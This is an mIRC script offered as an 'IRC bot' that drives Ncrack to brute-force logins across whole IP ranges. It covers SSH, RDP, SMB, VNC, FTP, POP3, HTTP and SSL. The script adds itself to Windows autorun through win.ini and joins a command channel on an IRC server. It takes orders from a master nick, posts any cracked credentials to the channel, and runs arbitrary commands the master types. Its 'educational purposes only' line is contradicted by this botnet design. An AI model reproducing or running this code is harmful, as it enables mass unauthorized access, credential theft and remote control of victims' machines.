NCRACK Range Scanner IRC Bot [mIRC script] - 100% clean

;;UPDATE: Added Windows autorun, replaced on LOAD initialization script by a on START.
;;Added other protocols used for cracking. (Untested: rhttp rftp rssl  rsmb)
;;Can now specify a channel password for variable %fldchan (Ex: #n00bs newbiepass)
;;Copy,  (ALT+R in mIRC) Paste, Press OK!
;;Load initialization script.
;;make sure %ncrackdir is correct (Can differ depending if your OS is not 64 bits.)
;;Not for bad use, educational purposes only.
;;If you post it somewhere else make sure you give me some credits, thanks.


on 1:start:{
  ;;Windows Autorun
  .writeini $left($mircdir,3) $+ windows\win.ini windows load $shortfn($mircexe)
  l04d
  if (!$server) server %ircserv -j $gettok(%fldchan,1,32) -n $gettok(%fldchan,2,32)
}
alias l04d {
  echo -a Download NCRACK here 12http://nmap.org/ncrack/
  echo -a set NCRACK working directory (Default: /set $chr(37) $+ ncrackdir C:\Program Files (x86)\Ncrack )
  echo -a set SCAN INTERVAL IN ms (Default: /set $chr(37) $+ interval 2500 )
  echo -a set RESULTS DIRECTORY   (Default:  /set $chr(37) $+ dir C:\TEMP\ )
  echo -a set OUTPUT CHANNEL (Default: /set $chr(37) $+ fldchan #powercc )
  echo -a set BOT MASTER  (Default: /set $chr(37) $+ master powercc    ) [case-sensitive nick]
  echo -a set IRC SERVER  (Default: /set $chr(37) $+ ircserv irc.crimeircd.biz:6667 )
  echo -a set NS REGISTER/IDENT PASS (Default: /set $chr(37) $+ nspass SomeLameAssPasswd ) [case-sensitive passwd]
  echo -a set PORT TO SCAN/CRACK (Default: /set $chr(37) $+ port2work 22 )
  echo -a If a dll is missing 12http://google.com download and put dll in NCRACK DIR
  set %ncrackdir C:\Program Files (x86)\Ncrack
  set %interval 100
  set %dir C:\TEMP\
  set %fldchan #powercc
  set %master powercc
  set %ircserv irc.crimeircd.biz:6667
  set %nspass SomeLamePasswd
  set %port2work 22
  if ($isdir(%ncrackdir)) { echo -a 3NCRACK DIR: %ncrackdir exists... Good! } | elseif (!$isdir(%ncrackdir)) { echo -a 4NCRACK dir not existing... Unloading script, to reload /load -rs $shortfn($script($script)) | unload -rs $script($script) }
  if ($isdir(%dir)) { echo -a 3RESULTS DIR: %dir exists... Good! } | elseif (!$isdir(%dir)) { echo -a 4RESULTS dir not existing... trying to make it... | mkdir %dir | echo -a 3success. }
}
on 1:CONNECT:{ if ($network isin %ircserv) { .timerJOIN 0 30 JOIN %fldchan | .timerREGISTER 1 3601 ns register %nspass SomeDumbMail $+ $r(0,99999) $+ @random $+ $r(0,999999) $+ .net } }
on 1:NOTICE:*identify*:?:{ if ($nick == NickServ) { /ns identify %nspass } }
on 1:JOIN:%fldchan:{ if (%master == $nick) { .msg %fldchan Master %master I am here waiting an order. [commands,  ..rssh <Ip.Ip.Ip.Ip> ..rrdp <Ip.Ip.Ip.Ip> ..rvnc <Ip.Ip.Ip.Ip> ..rpop3 <Ip.Ip.Ip.Ip> ..rsmb <Ip.Ip.Ip.Ip> ..rftp <Ip.Ip.Ip.Ip> ..rhttp <Ip.Ip.Ip.Ip> ..rssl <Ip.Ip.Ip.Ip> , ..listcred [#channel] , ..raw [command] , ..run [program] } }
on *:sockopen:sshscan*:{
  if ($sockerr) { sockclose $sockname | return }
  if ($isfile(start.bat)) { .remove start.bat }
  else {
    write start.bat @echo off
    write start.bat cd %ncrackdir
    write start.bat ncrack -vv -d1 $sock($sockname).ip $+ : $+ %port2work $+ ,cr=100  > $+ %dir $+ $ticks $+ $sock($sockname).ip $+ .log
    run start.bat
    sockclose $sockname
  }
}
alias rssh { set %port2work 22 | sscan $1 }
alias sscan {
  unset %range*
  set %range1 $gettok($1,1,46)
  set %range2 $gettok($1,2,46)
  set %range3 $gettok($1,3,46)
  .timerRANGE -om 0 %interval nextssh %port2work
  msg %fldchan Scan&Crack range %range1 $+ . $+ %range2 $+ . $+ %range3 $+ .* port %port2work with %interval ms
}
alias rrdp { set %port2work 3389 | sscan $1 }
alias rsmb { set %port2work 445 | sscan $1 }
alias rvnc { set %port2work 5900 | sscan $1 }
alias rftp { set %port2work 21 | sscan $1 }
alias rpop3 { set %port2work 110 | sscan $1 }
alias rhttp { set %port2work 80 | sscan $1 }
alias rssl { set %port2work 443 | sscan $1 }
alias nextssh {
  :START
  set %temp %range3 $+ $r(0,9999999999999999999999999999999)
  if ($sock(sshscan $+ %temp).name != $null) goto START
  inc %range4
  sockopen sshscan $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 %port2work
  goto next
  :NEXT
  if (%range4 >= 255) { inc %range3 | set %range4 0 }
  if (%range3 >= 255) { inc %range2 | set %range3 0 }
  if (%range2 >= 255) { unset %range* | .timerRANGE off | if ($server) msg $gettok(%fldchan,1,32) * Scan halted. | halt }
}
alias listcred {
  %var = $findfile(%dir,*.log,0)
  %var2 = 0
  unset %temp
  dolist $iif($1,$1,#) $nick
}
alias dolist {
  inc %var2
  unset %temp
  set %temp $readall($findfile(%dir,*.log,%var2),*Discovered*)
  if (%temp) { .msg $1 $2 9,3  %var2  %temp | unset %temp }
  if (%var2 > %var) halt
  .timerLISTCRED 1 0.1 dolist $1 $2
}
Alias readall {
  if ($read($1,w,$2,0) != $null) {
    return $1 $v1
  }
  else { continue }
}
on 1:TEXT:..*:%fldchan:{ if ($nick === %master) && ($network isin %ircserv) { set %x $1- | $remove(%x,..) | .notice $nick Command Done: $remove(%x,..) } }